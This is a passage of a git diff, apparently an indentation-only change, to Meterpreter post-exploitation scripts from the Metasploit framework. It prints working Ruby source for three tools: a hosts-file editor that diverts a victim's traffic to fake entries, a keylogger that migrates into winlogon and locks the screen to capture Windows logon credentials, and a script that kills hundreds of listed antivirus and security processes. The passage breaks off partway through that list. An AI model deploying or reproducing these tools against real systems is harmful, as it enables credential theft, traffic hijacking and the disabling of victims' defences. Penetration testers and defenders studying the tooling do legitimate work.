else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index c54bd4c67bd6..3a4eff2a7356 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -11,20 +11,20 @@ session = client # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help Options." ], - "-e" => [ true, "Host entry in the format of IP,Hostname." ], - "-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ] + "-h" => [ false, "Help Options." ], + "-e" => [ true, "Host entry in the format of IP,Hostname." ], + "-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ] ) def usage - print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.") - print_line("Since Windows will check first the Hosts file instead of the configured DNS Server") - print_line("it will assist in diverting traffic to the fake entry or entries. Either a single") - print_line("entry can be provided or a series of entries provided a file with one per line.") - print_line(@@exec_opts.usage) - print_line("Example:\n\n") - print_line("run hostsedit -e 127.0.0.1,google.com\n") - print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n") - raise Rex::Script::Completed + print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.") + print_line("Since Windows will check first the Hosts file instead of the configured DNS Server") + print_line("it will assist in diverting traffic to the fake entry or entries. Either a single") + print_line("entry can be provided or a series of entries provided a file with one per line.") + print_line(@@exec_opts.usage) + print_line("Example:\n\n") + print_line("run hostsedit -e 127.0.0.1,google.com\n") + print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n") + raise Rex::Script::Completed end @@ -33,68 +33,68 @@ def usage hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts" #Function check if UAC is enabled def checkuac(session) - winver = session.sys.config.sysinfo - if winver["OS"] =~ (/Windows 7|Vista/) - print_status("Checking if UAC is enabled.") - open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ) - value = open_key.query_value("EnableLUA").data - if value == 1 - print_status("\tUAC is enabled") - raise "Unable to continue UAC is enabbled." - else - print_status("\tUAC is disabled") - status = false - end - end + winver = session.sys.config.sysinfo + if winver["OS"] =~ (/Windows 7|Vista/) + print_status("Checking if UAC is enabled.") + open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ) + value = open_key.query_value("EnableLUA").data + if value == 1 + print_status("\tUAC is enabled") + raise "Unable to continue UAC is enabbled." + else + print_status("\tUAC is disabled") + status = false + end + end end #Function for adding record to hosts file def add2hosts(session,record,hosts) - ip,host = record.split(",") - print_status("Adding Record for Host #{host} with IP #{ip}") - session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true}) + ip,host = record.split(",") + print_status("Adding Record for Host #{host} with IP #{ip}") + session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true}) end #Make a backup of the hosts file on the target def backuphosts(session,hosts) - random = sprintf("%.5d",rand(100000)) - print_status("Making Backup of the hosts file.") - session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true}) - print_status("Backup loacated in #{hosts}#{random}.back") + random = sprintf("%.5d",rand(100000)) + print_status("Making Backup of the hosts file.") + session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true}) + print_status("Backup loacated in #{hosts}#{random}.back") end # Clear DNS Cached entries def cleardnscach(session) - print_status("Clearing the DNS Cache") - session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) + print_status("Clearing the DNS Cache") + session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) end if client.platform =~ /win32|win64/ - @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - checkuac(session) - backuphosts(session,hosts) - add2hosts(session,val,hosts) - cleardnscach(session) - when "-l" - checkuac(session) - if not ::File.exists?(val) - raise "File #{val} does not exists!" - else - backuphosts(session,hosts) - ::File.open(val, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - add2hosts(session,line.chomp,hosts) - end - cleardnscach(session) - end - when "-h" - usage - end - } - if args.length == 0 - usage - end + @@exec_opts.parse(args) { |opt, idx, val| + case opt + when "-e" + checkuac(session) + backuphosts(session,hosts) + add2hosts(session,val,hosts) + cleardnscach(session) + when "-l" + checkuac(session) + if not ::File.exists?(val) + raise "File #{val} does not exists!" + else + backuphosts(session,hosts) + ::File.open(val, "r").each_line do |line| + next if line.strip.length < 1 + next if line[0,1] == "#" + add2hosts(session,line.chomp,hosts) + end + cleardnscach(session) + end + when "-h" + usage + end + } + if args.length == 0 + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index ae6316f6a584..ff8f28dd2364 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -4,18 +4,18 @@ session = client # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], - "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], - "-l" => [ false, "Lock screen when capturing Winlogon credentials."], - "-k" => [ false, "Kill old Process"] + "-h" => [ false, "Help menu." ], + "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], + "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], + "-l" => [ false, "Lock screen when capturing Winlogon credentials."], + "-k" => [ false, "Kill old Process"] ) def usage - print_line("Keylogger Recorder Meterpreter Script") - print_line("This script will start the Meterpreter Keylogger and save all keys") - print_line("in a log file for later anlysis. To stop capture hit Ctrl-C") - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed + print_line("Keylogger Recorder Meterpreter Script") + print_line("This script will start the Meterpreter Keylogger and save all keys") + print_line("in a log file for later anlysis. To stop capture hit Ctrl-C") + print_line("Usage:" + @@exec_opts.usage) + raise Rex::Script::Completed end @@ -41,131 +41,131 @@ def usage captype = 2 # Function for locking the screen -- Thanks for the idea and API call Mubix def lock_screen - print_status("Locking Screen...") - lock_info = client.railgun.user32.LockWorkStation() - if lock_info["GetLastError"] == 0 - print_status("Screen has been locked") - else - print_error("Screen lock Failed") - end + print_status("Locking Screen...") + lock_info = client.railgun.user32.LockWorkStation() + if lock_info["GetLastError"] == 0 + print_status("Screen has been locked") + else + print_error("Screen lock Failed") + end end #Function to Migrate in to Explorer process to be able to interact with desktop def explrmigrate(session,captype,lock,kill) - #begin - if captype.to_i == 0 - process2mig = "explorer.exe" - elsif captype.to_i == 1 - if is_uac_enabled? - print_error("UAC is enabled on this host! Winlogon migration will be blocked.") - raise Rex::Script::Completed - end - process2mig = "winlogon.exe" - if lock - lock_screen - end - else - process2mig = "explorer.exe" - end - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") - - if (kill) - begin - print_status("Killing old process") - client.sys.process.kill(mypid) - print_status("Old process killed.") - rescue - print_status("Failed to kill old process.") - end - end - end - end - return true - # rescue - # print_status("Failed to migrate process!") - # return false - # end + #begin + if captype.to_i == 0 + process2mig = "explorer.exe" + elsif captype.to_i == 1 + if is_uac_enabled? + print_error("UAC is enabled on this host! Winlogon migration will be blocked.") + raise Rex::Script::Completed + end + process2mig = "winlogon.exe" + if lock + lock_screen + end + else + process2mig = "explorer.exe" + end + # Actual migration + mypid = session.sys.process.getpid + session.sys.process.get_processes().each do |x| + if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) + print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") + session.core.migrate(x['pid'].to_i) + print_status("Migration Successful!!") + + if (kill) + begin + print_status("Killing old process") + client.sys.process.kill(mypid) + print_status("Old process killed.") + rescue + print_status("Failed to kill old process.") + end + end + end + end + return true + # rescue + # print_status("Failed to migrate process!") + # return false + # end end #Function for starting the keylogger def startkeylogger(session) - begin - #print_status("Grabbing Desktop Keyboard Input...") - #session.ui.grab_desktop - print_status("Starting the keystroke sniffer...") - session.ui.keyscan_start - return true - rescue - print_status("Failed to start Keylogging!") - return false - end + begin + #print_status("Grabbing Desktop Keyboard Input...") + #session.ui.grab_desktop + print_status("Starting the keystroke sniffer...") + session.ui.keyscan_start + return true + rescue + print_status("Failed to start Keylogging!") + return false + end end def write_keylog_data session, logfile - data = session.ui.keyscan_dump - outp = "" - data.unpack("n*").each do |inp| - fl = (inp & 0xff00) >> 8 - vk = (inp & 0xff) - kc = VirtualKeyCodes[vk] - - f_shift = fl & (1<<1) - f_ctrl = fl & (1<<2) - f_alt = fl & (1<<3) - - if(kc) - name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) - case name - when /^.$/ - outp << name - when /shift|click/i - when 'Space' - outp << " " - else - outp << " <#{name}> " - end - else - outp << " <0x%.2x> " % vk - end - end - - sleep(2) - - if(outp.length > 0) - file_local_write(logfile,"#{outp}\n") - end + data = session.ui.keyscan_dump + outp = "" + data.unpack("n*").each do |inp| + fl = (inp & 0xff00) >> 8 + vk = (inp & 0xff) + kc = VirtualKeyCodes[vk] + + f_shift = fl & (1<<1) + f_ctrl = fl & (1<<2) + f_alt = fl & (1<<3) + + if(kc) + name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) + case name + when /^.$/ + outp << name + when /shift|click/i + when 'Space' + outp << " " + else + outp << " <#{name}> " + end + else + outp << " <0x%.2x> " % vk + end + end + + sleep(2) + + if(outp.length > 0) + file_local_write(logfile,"#{outp}\n") + end end # Function for Collecting Capture def keycap(session, keytime, logfile) - begin - rec = 1 - #Creating DB for captured keystrokes - file_local_write(logfile,"") - - print_status("Keystrokes being saved in to #{logfile}") - #Inserting keystrokes every number of seconds specified - print_status("Recording ") - while rec == 1 - #getting and writing Keystrokes - write_keylog_data session, logfile - - sleep(keytime.to_i) - end - rescue::Exception => e - print_status "Saving last few keystrokes" - write_keylog_data session, logfile - - print("\n") - print_status("#{e.class} #{e}") - print_status("Stopping keystroke sniffer...") - session.ui.keyscan_stop - end + begin + rec = 1 + #Creating DB for captured keystrokes + file_local_write(logfile,"") + + print_status("Keystrokes being saved in to #{logfile}") + #Inserting keystrokes every number of seconds specified + print_status("Recording ") + while rec == 1 + #getting and writing Keystrokes + write_keylog_data session, logfile + + sleep(keytime.to_i) + end + rescue::Exception => e + print_status "Saving last few keystrokes" + write_keylog_data session, logfile + + print("\n") + print_status("#{e.class} #{e}") + print_status("Stopping keystroke sniffer...") + session.ui.keyscan_stop + end end # Parsing of Options @@ -175,30 +175,30 @@ def keycap(session, keytime, logfile) kill = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-t" - keytime = val - when "-c" - captype = val - when "-h" - usage - when "-l" - lock = true - when "-k" - kill = true - end + case opt + when "-t" + keytime = val + when "-c" + captype = val + when "-h" + usage + when "-l" + lock = true + when "-k" + kill = true + end } if client.platform =~ /win32|win64/ - if (captype.to_i == 2) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - elsif explrmigrate(session,captype,lock, kill) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - end + if (captype.to_i == 2) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + elsif explrmigrate(session,captype,lock, kill) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index 60ac0f5c7074..095fdd4c92f4 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -4,608 +4,608 @@ # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed + print_line("Usage:" + @@exec_opts.usage) + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } print_status("Killing Antivirus services on the target...") avs = %W{ - AAWTray.exe - Ad-Aware.exe - MSASCui.exe - _avp32.exe - _avpcc.exe - _avpm.exe - aAvgApi.exe - ackwin32.exe - adaware.exe - advxdwin.exe - agentsvr.exe - agentw.exe - alertsvc.exe - alevir.exe - alogserv.exe - amon9x.exe - anti-trojan.exe - antivirus.exe - ants.exe - apimonitor.exe - aplica32.exe - apvxdwin.exe - arr.exe - atcon.exe - atguard.exe - atro55en.exe - atupdater.exe - atwatch.exe - au.exe - aupdate.exe - auto-protect.nav80try.exe - autodown.exe - autotrace.exe - autoupdate.exe - avconsol.exe - ave32.exe - avgcc32.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgrsx.exe - avgserv.exe - avgserv9.exe - avguard.exe - avgw.exe - avkpop.exe - avkserv.exe - avkservice.exe - avkwctl9.exe - avltmain.exe - avnt.exe - avp.exe - avp.exe - avp32.exe - avpcc.exe - avpdos32.exe - avpm.exe - avptc32.exe - avpupd.exe - avsched32.exe - avsynmgr.exe - avwin.exe - avwin95.exe - avwinnt.exe - avwupd.exe - avwupd32.exe - avwupsrv.exe - avxmonitor9x.exe - avxmonitornt.exe - avxquar.exe - backweb.exe - bargains.exe - bd_professional.exe - beagle.exe - belt.exe - bidef.exe - bidserver.exe - bipcp.exe - bipcpevalsetup.exe - bisp.exe - blackd.exe - blackice.exe - blink.exe - blss.exe - bootconf.exe - bootwarn.exe - borg2.exe - bpc.exe - brasil.exe - bs120.exe - bundle.exe - bvt.exe - ccapp.exe - ccevtmgr.exe - ccpxysvc.exe - cdp.exe - cfd.exe - cfgwiz.exe - cfiadmin.exe - cfiaudit.exe - cfinet.exe - cfinet32.exe - claw95.exe - claw95cf.exe - clean.exe - cleaner.exe - cleaner3.exe - cleanpc.exe - click.exe - cmd.exe - cmd32.exe - cmesys.exe - cmgrdian.exe - cmon016.exe - connectionmonitor.exe - cpd.exe - cpf9x206.exe - cpfnt206.exe - ctrl.exe - cv.exe - cwnb181.exe - cwntdwmo.exe - datemanager.exe - dcomx.exe - defalert.exe - defscangui.exe - defwatch.exe - deputy.exe - divx.exe - dllcache.exe - dllreg.exe - doors.exe - dpf.exe - dpfsetup.exe - dpps2.exe - drwatson.exe - drweb32.exe - drwebupw.exe - dssagent.exe - dvp95.exe - dvp95_0.exe - ecengine.exe - efpeadm.exe - emsw.exe - ent.exe - esafe.exe - escanhnt.exe - escanv95.exe - espwatch.exe - ethereal.exe - etrustcipe.exe - evpn.exe - exantivirus-cnet.exe - exe.avxw.exe - expert.exe - explore.exe - f-agnt95.exe - f-prot.exe - f-prot95.exe - f-stopw.exe - fameh32.exe - fast.exe - fch32.exe - fih32.exe - findviru.exe - firewall.exe - fnrb32.exe - fp-win.exe - fp-win_trial.exe - fprot.exe - frw.exe - fsaa.exe - fsav.exe - fsav32.exe - fsav530stbyb.exe - fsav530wtbyb.exe - fsav95.exe - fsgk32.exe - fsm32.exe - fsma32.exe - fsmb32.exe - gator.exe - gbmenu.exe - gbpoll.exe - generics.exe - gmt.exe - guard.exe - guarddog.exe - hacktracersetup.exe - hbinst.exe - hbsrv.exe - hotactio.exe - hotpatch.exe - htlog.exe - htpatch.exe - hwpe.exe - hxdl.exe - hxiul.exe - iamapp.exe - iamserv.exe - iamstats.exe - ibmasn.exe - ibmavsp.exe - icload95.exe - icloadnt.exe - icmon.exe - icsupp95.exe - icsuppnt.exe - idle.exe - iedll.exe - iedriver.exe - iexplorer.exe - iface.exe - ifw2000.exe - inetlnfo.exe - infus.exe - infwin.exe - init.exe - intdel.exe - intren.exe - iomon98.exe - istsvc.exe - jammer.exe - jdbgmrg.exe - jedi.exe - kavlite40eng.exe - kavpers40eng.exe - kavpf.exe - kazza.exe - keenvalue.exe - kerio-pf-213-en-win.exe - kerio-wrl-421-en-win.exe - kerio-wrp-421-en-win.exe - kernel32.exe - killprocesssetup161.exe - launcher.exe - ldnetmon.exe - ldpro.exe - ldpromenu.exe - ldscan.exe - lnetinfo.exe - loader.exe - localnet.exe - lockdown.exe - lockdown2000.exe - lookout.exe - lordpe.exe - lsetup.exe - luall.exe - luau.exe - lucomserver.exe - luinit.exe - luspt.exe - mapisvc32.exe - mcagent.exe - mcmnhdlr.exe - mcshield.exe - mctool.exe - mcupdate.exe - mcvsrte.exe - mcvsshld.exe - md.exe - mfin32.exe - mfw2en.exe - mfweng3.02d30.exe - mgavrtcl.exe - mgavrte.exe - mghtml.exe - mgui.exe - minilog.exe - mmod.exe - monitor.exe - moolive.exe - mostat.exe - mpfagent.exe - mpfservice.exe - mpftray.exe - mrflux.exe - msapp.exe - msbb.exe - msblast.exe - mscache.exe - msccn32.exe - mscman.exe - msconfig.exe - msdm.exe - msdos.exe - msiexec16.exe - msinfo32.exe - mslaugh.exe - msmgt.exe - msmsgri32.exe - mssmmc32.exe - mssys.exe - msvxd.exe - mu0311ad.exe - mwatch.exe - n32scanw.exe - nav.exe - navap.navapsvc.exe - navapsvc.exe - navapw32.exe - navdx.exe - navlu32.exe - navnt.exe - navstub.exe - navw32.exe - navwnt.exe - nc2000.exe - ncinst4.exe - ndd32.exe - neomonitor.exe - neowatchlog.exe - netarmor.exe - netd32.exe - netinfo.exe - netmon.exe - netscanpro.exe - netspyhunter-1.2.exe - netstat.exe - netutils.exe - nisserv.exe - nisum.exe - nmain.exe - nod32.exe - normist.exe - norton_internet_secu_3.0_407.exe - notstart.exe - npf40_tw_98_nt_me_2k.exe - npfmessenger.exe - nprotect.exe - npscheck.exe - npssvc.exe - nsched32.exe - nssys32.exe - nstask32.exe - nsupdate.exe - nt.exe - ntrtscan.exe - ntvdm.exe - ntxconfig.exe - nui.exe - nupgrade.exe - nvarch16.exe - nvc95.exe - nvsvc32.exe - nwinst4.exe - nwservice.exe - nwtool16.exe - ollydbg.exe - onsrvr.exe - optimize.exe - ostronet.exe - otfix.exe - outpost.exe - outpostinstall.exe - outpostproinstall.exe - padmin.exe - panixk.exe - patch.exe - pavcl.exe - pavproxy.exe - pavsched.exe - pavw.exe - pccwin98.exe - pcfwallicon.exe - pcip10117_0.exe - pcscan.exe - pdsetup.exe - periscope.exe - persfw.exe - perswf.exe - pf2.exe - pfwadmin.exe - pgmonitr.exe - pingscan.exe - platin.exe - pop3trap.exe - poproxy.exe - popscan.exe - portdetective.exe - portmonitor.exe - powerscan.exe - ppinupdt.exe - pptbc.exe - ppvstop.exe - prizesurfer.exe - prmt.exe - prmvr.exe - procdump.exe - processmonitor.exe - procexplorerv1.0.exe - programauditor.exe - proport.exe - protectx.exe - pspf.exe - purge.exe - qconsole.exe - qserver.exe - rapapp.exe - rav7.exe - rav7win.exe - rav8win32eng.exe - ray.exe - rb32.exe - rcsync.exe - realmon.exe - reged.exe - regedit.exe - regedt32.exe - rescue.exe - rescue32.exe - rrguard.exe - rshell.exe - rtvscan.exe - rtvscn95.exe - rulaunch.exe - run32dll.exe - rundll.exe - rundll16.exe - ruxdll32.exe - safeweb.exe - sahagent.exe - save.exe - savenow.exe - sbserv.exe - sc.exe - scam32.exe - scan32.exe - scan95.exe - scanpm.exe - scrscan.exe - serv95.exe - setup_flowprotector_us.exe - setupvameeval.exe - sfc.exe - sgssfw32.exe - sh.exe - shellspyinstall.exe - shn.exe - showbehind.exe - smc.exe - sms.exe - smss32.exe - soap.exe - sofi.exe - sperm.exe - spf.exe - sphinx.exe - spoler.exe - spoolcv.exe - spoolsv32.exe - spyxx.exe - srexe.exe - srng.exe - ss3edit.exe - ssg_4104.exe - ssgrate.exe - st2.exe - start.exe - stcloader.exe - supftrl.exe - support.exe - supporter5.exe - svc.exe - svchostc.exe - svchosts.exe - svshost.exe - sweep95.exe - sweepnet.sweepsrv.sys.swnetsup.exe - symproxysvc.exe - symtray.exe - sysedit.exe - system.exe - system32.exe - sysupd.exe - taskmg.exe - taskmgr.exe - taskmo.exe - taskmon.exe - taumon.exe - tbscan.exe - tc.exe - tca.exe - tcm.exe - tds-3.exe - tds2-98.exe - tds2-nt.exe - teekids.exe - tfak.exe - tfak5.exe - tgbob.exe - titanin.exe - titaninxp.exe - tracert.exe - trickler.exe - trjscan.exe - trjsetup.exe - trojantrap3.exe - tsadbot.exe - tvmd.exe - tvtmd.exe - undoboot.exe - updat.exe - update.exe - upgrad.exe - utpost.exe - vbcmserv.exe - vbcons.exe - vbust.exe - vbwin9x.exe - vbwinntw.exe - vcsetup.exe - vet32.exe - vet95.exe - vettray.exe - vfsetup.exe - vir-help.exe - virusmdpersonalfirewall.exe - vnlan300.exe - vnpc3000.exe - vpc32.exe - vpc42.exe - vpfw30s.exe - vptray.exe - vscan40.exe - vscenu6.02d30.exe - vsched.exe - vsecomr.exe - vshwin32.exe - vsisetup.exe - vsmain.exe - vsmon.exe - vsstat.exe - vswin9xe.exe - vswinntse.exe - vswinperse.exe - w32dsm89.exe - w9x.exe - watchdog.exe - webdav.exe - webscanx.exe - webtrap.exe - wfindv32.exe - whoswatchingme.exe - wimmun32.exe - win-bugsfix.exe - win32.exe - win32us.exe - winactive.exe - window.exe - windows.exe - wininetd.exe - wininitx.exe - winlogin.exe - winmain.exe - winnet.exe - winppr32.exe - winrecon.exe - winservn.exe - winssk32.exe - winstart.exe - winstart001.exe - wintsk32.exe - winupdate.exe - wkufind.exe - wnad.exe - wnt.exe - wradmin.exe - wrctrl.exe - wsbgate.exe - wupdater.exe - wupdt.exe - wyvernworksfirewall.exe - xpf202en.exe - zapro.exe - zapsetup3001.exe - zatutor.exe - zonalm2601.exe - zonealarm.exe + AAWTray.exe + Ad-Aware.exe + MSASCui.exe + _avp32.exe + _avpcc.exe + _avpm.exe + aAvgApi.exe + ackwin32.exe + adaware.exe + advxdwin.exe + agentsvr.exe + agentw.exe + alertsvc.exe + alevir.exe + alogserv.exe + amon9x.exe + anti-trojan.exe + antivirus.exe + ants.exe + apimonitor.exe + aplica32.exe + apvxdwin.exe + arr.exe + atcon.exe + atguard.exe + atro55en.exe + atupdater.exe + atwatch.exe + au.exe + aupdate.exe + auto-protect.nav80try.exe + autodown.exe + autotrace.exe + autoupdate.exe + avconsol.exe + ave32.exe + avgcc32.exe + avgctrl.exe + avgemc.exe + avgnt.exe + avgrsx.exe + avgserv.exe + avgserv9.exe + avguard.exe + avgw.exe + avkpop.exe + avkserv.exe + avkservice.exe + avkwctl9.exe + avltmain.exe + avnt.exe + avp.exe + avp.exe + avp32.exe + avpcc.exe + avpdos32.exe + avpm.exe + avptc32.exe + avpupd.exe + avsched32.exe + avsynmgr.exe + avwin.exe + avwin95.exe + avwinnt.exe + avwupd.exe + avwupd32.exe + avwupsrv.exe + avxmonitor9x.exe + avxmonitornt.exe + avxquar.exe + backweb.exe + bargains.exe + bd_professional.exe + beagle.exe + belt.exe + bidef.exe + bidserver.exe + bipcp.exe + bipcpevalsetup.exe + bisp.exe + blackd.exe + blackice.exe + blink.exe + blss.exe + bootconf.exe + bootwarn.exe + borg2.exe + bpc.exe + brasil.exe + bs120.exe + bundle.exe + bvt.exe + ccapp.exe + ccevtmgr.exe + ccpxysvc.exe + cdp.exe + cfd.exe + cfgwiz.exe + cfiadmin.exe + cfiaudit.exe + cfinet.exe + cfinet32.exe + claw95.exe + claw95cf.exe + clean.exe + cleaner.exe + cleaner3.exe + cleanpc.exe + click.exe + cmd.exe + cmd32.exe + cmesys.exe + cmgrdian.exe + cmon016.exe + connectionmonitor.exe + cpd.exe + cpf9x206.exe + cpfnt206.exe + ctrl.exe + cv.exe + cwnb181.exe + cwntdwmo.exe + datemanager.exe + dcomx.exe + defalert.exe + defscangui.exe + defwatch.exe + deputy.exe + divx.exe + dllcache.exe + dllreg.exe + doors.exe + dpf.exe + dpfsetup.exe + dpps2.exe + drwatson.exe + drweb32.exe + drwebupw.exe + dssagent.exe + dvp95.exe + dvp95_0.exe + ecengine.exe + efpeadm.exe + emsw.exe + ent.exe + esafe.exe + escanhnt.exe + escanv95.exe + espwatch.exe + ethereal.exe + etrustcipe.exe + evpn.exe + exantivirus-cnet.exe + exe.avxw.exe + expert.exe + explore.exe + f-agnt95.exe + f-prot.exe + f-prot95.exe + f-stopw.exe + fameh32.exe + fast.exe + fch32.exe + fih32.exe + findviru.exe + firewall.exe + fnrb32.exe + fp-win.exe + fp-win_trial.exe + fprot.exe + frw.exe + fsaa.exe + fsav.exe + fsav32.exe + fsav530stbyb.exe + fsav530wtbyb.exe + fsav95.exe + fsgk32.exe + fsm32.exe + fsma32.exe + fsmb32.exe + gator.exe + gbmenu.exe + gbpoll.exe + generics.exe + gmt.exe + guard.exe + guarddog.exe + hacktracersetup.exe + hbinst.exe + hbsrv.exe + hotactio.exe + hotpatch.exe + htlog.exe + htpatch.exe + hwpe.exe + hxdl.exe + hxiul.exe + iamapp.exe + iamserv.exe + iamstats.exe + ibmasn.exe + ibmavsp.exe + icload95.exe + icloadnt.exe + icmon.exe + icsupp95.exe + icsuppnt.exe + idle.exe + iedll.exe + iedriver.exe + iexplorer.exe + iface.exe + ifw2000.exe + inetlnfo.exe + infus.exe + infwin.exe + init.exe + intdel.exe + intren.exe + iomon98.exe + istsvc.exe + jammer.exe + jdbgmrg.exe + jedi.exe + kavlite40eng.exe + kavpers40eng.exe + kavpf.exe + kazza.exe + keenvalue.exe + kerio-pf-213-en-win.exe + kerio-wrl-421-en-win.exe + kerio-wrp-421-en-win.exe + kernel32.exe + killprocesssetup161.exe + launcher.exe + ldnetmon.exe + ldpro.exe + ldpromenu.exe + ldscan.exe + lnetinfo.exe + loader.exe + localnet.exe + lockdown.exe + lockdown2000.exe + lookout.exe + lordpe.exe + lsetup.exe + luall.exe + luau.exe + lucomserver.exe + luinit.exe + luspt.exe + mapisvc32.exe + mcagent.exe + mcmnhdlr.exe + mcshield.exe + mctool.exe + mcupdate.exe + mcvsrte.exe + mcvsshld.exe + md.exe + mfin32.exe + mfw2en.exe + mfweng3.02d30.exe + mgavrtcl.exe + mgavrte.exe + mghtml.exe + mgui.exe + minilog.exe + mmod.exe + monitor.exe + moolive.exe + mostat.exe + mpfagent.exe + mpfservice.exe + mpftray.exe + mrflux.exe + msapp.exe + msbb.exe + msblast.exe + mscache.exe + msccn32.exe + mscman.exe + msconfig.exe + msdm.exe + msdos.exe + msiexec16.exe + msinfo32.exe + mslaugh.exe + msmgt.exe + msmsgri32.exe + mssmmc32.exe + mssys.exe + msvxd.exe + mu0311ad.exe + mwatch.exe + n32scanw.exe + nav.exe + navap.navapsvc.exe + navapsvc.exe + navapw32.exe + navdx.exe + navlu32.exe + navnt.exe + navstub.exe + navw32.exe + navwnt.exe + nc2000.exe + ncinst4.exe + ndd32.exe + neomonitor.exe + neowatchlog.exe + netarmor.exe + netd32.exe + netinfo.exe + netmon.exe + netscanpro.exe + netspyhunter-1.2.exe + netstat.exe + netutils.exe + nisserv.exe + nisum.exe + nmain.exe + nod32.exe + normist.exe + norton_internet_secu_3.0_407.exe + notstart.exe + npf40_tw_98_nt_me_2k.exe + npfmessenger.exe + nprotect.exe + npscheck.exe + npssvc.exe + nsched32.exe + nssys32.exe + nstask32.exe + nsupdate.exe + nt.exe + ntrtscan.exe + ntvdm.exe + ntxconfig.exe + nui.exe + nupgrade.exe + nvarch16.exe + nvc95.exe + nvsvc32.exe + nwinst4.exe + nwservice.exe + nwtool16.exe + ollydbg.exe + onsrvr.exe + optimize.exe + ostronet.exe + otfix.exe + outpost.exe + outpostinstall.exe + outpostproinstall.exe + padmin.exe + panixk.exe + patch.exe + pavcl.exe + pavproxy.exe + pavsched.exe + pavw.exe + pccwin98.exe + pcfwallicon.exe + pcip10117_0.exe + pcscan.exe + pdsetup.exe + periscope.exe + persfw.exe + perswf.exe + pf2.exe + pfwadmin.exe + pgmonitr.exe + pingscan.exe + platin.exe + pop3trap.exe + poproxy.exe + popscan.exe + portdetective.exe + portmonitor.exe + powerscan.exe + ppinupdt.exe + pptbc.exe + ppvstop.exe + prizesurfer.exe + prmt.exe + prmvr.exe + procdump.exe + processmonitor.exe + procexplorerv1.0.exe + programauditor.exe + proport.exe + protectx.exe + pspf.exe + purge.exe + qconsole.exe + qserver.exe + rapapp.exe + rav7.exe + rav7win.exe + rav8win32eng.exe + ray.exe + rb32.exe + rcsync.exe + realmon.exe + reged.exe + regedit.exe + regedt32.exe + rescue.exe + rescue32.exe + rrguard.exe + rshell.exe + rtvscan.exe + rtvscn95.exe + rulaunch.exe + run32dll.exe + rundll.exe + rundll16.exe + ruxdll32.exe + safeweb.exe + sahagent.exe + save.exe + savenow.exe + sbserv.exe + sc.exe + scam32.exe + scan32.exe + scan95.exe + scanpm.exe + scrscan.exe + serv95.exe + setup_flowprotector_us.exe + setupvameeval.exe + sfc.exe + sgssfw32.exe + sh.exe + shellspyinstall.exe + shn.exe + showbehind.exe + smc.exe + sms.exe + smss32.exe + soap.exe + sofi.exe + sperm.exe + spf.exe + sphinx.exe + spoler.exe + spoolcv.exe + spoolsv32.exe + spyxx.exe + srexe.exe + 